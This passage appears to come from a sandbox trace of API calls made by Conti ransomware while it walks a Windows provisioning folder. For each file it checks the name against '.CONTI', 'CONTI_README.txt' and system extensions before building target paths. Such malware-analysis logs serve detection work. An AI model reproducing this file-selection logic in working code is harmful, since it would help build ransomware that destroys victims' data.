	[0109.356] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.356] lstrlenW (lpString="349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml") returned 72
	[0109.356] GetProcessHeap () returned 0x1720000
	[0109.356] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x6561560
	[0109.356] lstrcpyW (in: lpString1=0x6561560, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.356] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.356] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml"
	[0109.356] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901d57cf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901d57cf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901d57cf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml", cAlternateFileName="34__CO~1.PRO")) returned 1
	[0109.356] lstrcmpiW (lpString1="34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.356] lstrcmpiW (lpString1="34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.356] StrStrIW (lpFirst="34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.356] StrStrIW (lpFirst="34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.357] StrStrIW (lpFirst="34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.357] StrStrIW (lpFirst="34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.357] StrStrIW (lpFirst="34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.357] StrStrIW (lpFirst="34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.357] StrStrIW (lpFirst="34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.357] StrStrIW (lpFirst="34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.357] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.357] lstrlenW (lpString="34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml") returned 66
	[0109.357] GetProcessHeap () returned 0x1720000
	[0109.357] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x6567ec0
	[0109.357] lstrcpyW (in: lpString1=0x6567ec0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.357] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.357] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml"
	[0109.357] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cdcae1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90cdcae1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90cdcae1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml", cAlternateFileName="350__C~1.PRO")) returned 1
	[0109.357] lstrcmpiW (lpString1="350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.357] lstrcmpiW (lpString1="350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.357] StrStrIW (lpFirst="350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.357] StrStrIW (lpFirst="350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.357] StrStrIW (lpFirst="350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.357] StrStrIW (lpFirst="350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.357] StrStrIW (lpFirst="350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.357] StrStrIW (lpFirst="350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.357] StrStrIW (lpFirst="350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.357] StrStrIW (lpFirst="350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.357] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.357] lstrlenW (lpString="350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml") returned 72
	[0109.357] GetProcessHeap () returned 0x1720000
	[0109.357] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x6561968
	[0109.357] lstrcpyW (in: lpString1=0x6561968, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.357] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.357] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml"
	[0109.357] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cdcae1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90cdcae1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90cdcae1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml", cAlternateFileName="351__C~1.PRO")) returned 1
	[0109.358] lstrcmpiW (lpString1="351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.358] lstrcmpiW (lpString1="351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.358] StrStrIW (lpFirst="351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.358] StrStrIW (lpFirst="351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.358] StrStrIW (lpFirst="351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.358] StrStrIW (lpFirst="351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.358] StrStrIW (lpFirst="351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.358] StrStrIW (lpFirst="351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.358] StrStrIW (lpFirst="351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.358] StrStrIW (lpFirst="351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.358] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.358] lstrlenW (lpString="351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml") returned 72
	[0109.358] GetProcessHeap () returned 0x1720000
	[0109.358] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x6561ac0
	[0109.358] lstrcpyW (in: lpString1=0x6561ac0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.358] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.358] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml"
	[0109.358] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d02d4c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d02d4c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d02d4c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="352__C~1.PRO")) returned 1
	[0109.358] lstrcmpiW (lpString1="352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.358] lstrcmpiW (lpString1="352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.358] StrStrIW (lpFirst="352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.358] StrStrIW (lpFirst="352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.358] StrStrIW (lpFirst="352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.358] StrStrIW (lpFirst="352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.358] StrStrIW (lpFirst="352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.358] StrStrIW (lpFirst="352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.358] StrStrIW (lpFirst="352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.358] StrStrIW (lpFirst="352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.358] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.358] lstrlenW (lpString="352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml") returned 66
	[0109.358] GetProcessHeap () returned 0x1720000
	[0109.358] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x65663d8
	[0109.358] lstrcpyW (in: lpString1=0x65663d8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.358] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.359] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml"
	[0109.359] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d02d4c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d02d4c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d02d4c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="353__C~1.PRO")) returned 1
	[0109.359] lstrcmpiW (lpString1="353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.359] lstrcmpiW (lpString1="353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.359] StrStrIW (lpFirst="353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.359] StrStrIW (lpFirst="353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.359] StrStrIW (lpFirst="353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.359] StrStrIW (lpFirst="353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.359] StrStrIW (lpFirst="353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.359] StrStrIW (lpFirst="353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.359] StrStrIW (lpFirst="353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.359] StrStrIW (lpFirst="353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.359] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.359] lstrlenW (lpString="353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml") returned 71
	[0109.359] GetProcessHeap () returned 0x1720000
	[0109.359] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x656d2d0
	[0109.359] lstrcpyW (in: lpString1=0x656d2d0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.359] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.359] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml"
	[0109.359] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d02d4c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d02d4c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d02d4c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x3a6, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml", cAlternateFileName="354__C~1.PRO")) returned 1
	[0109.359] lstrcmpiW (lpString1="354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.359] lstrcmpiW (lpString1="354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.359] StrStrIW (lpFirst="354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.359] StrStrIW (lpFirst="354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.359] StrStrIW (lpFirst="354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.359] StrStrIW (lpFirst="354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.359] StrStrIW (lpFirst="354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.359] StrStrIW (lpFirst="354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.359] StrStrIW (lpFirst="354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.359] StrStrIW (lpFirst="354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.359] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.359] lstrlenW (lpString="354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml") returned 71
	[0109.360] GetProcessHeap () returned 0x1720000
	[0109.360] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x656dee8
	[0109.360] lstrcpyW (in: lpString1=0x656dee8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.360] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.360] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml"
	[0109.360] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d28fbc, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d28fbc, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d28fbc, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x392, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml", cAlternateFileName="355__C~1.PRO")) returned 1
	[0109.360] lstrcmpiW (lpString1="355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.360] lstrcmpiW (lpString1="355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
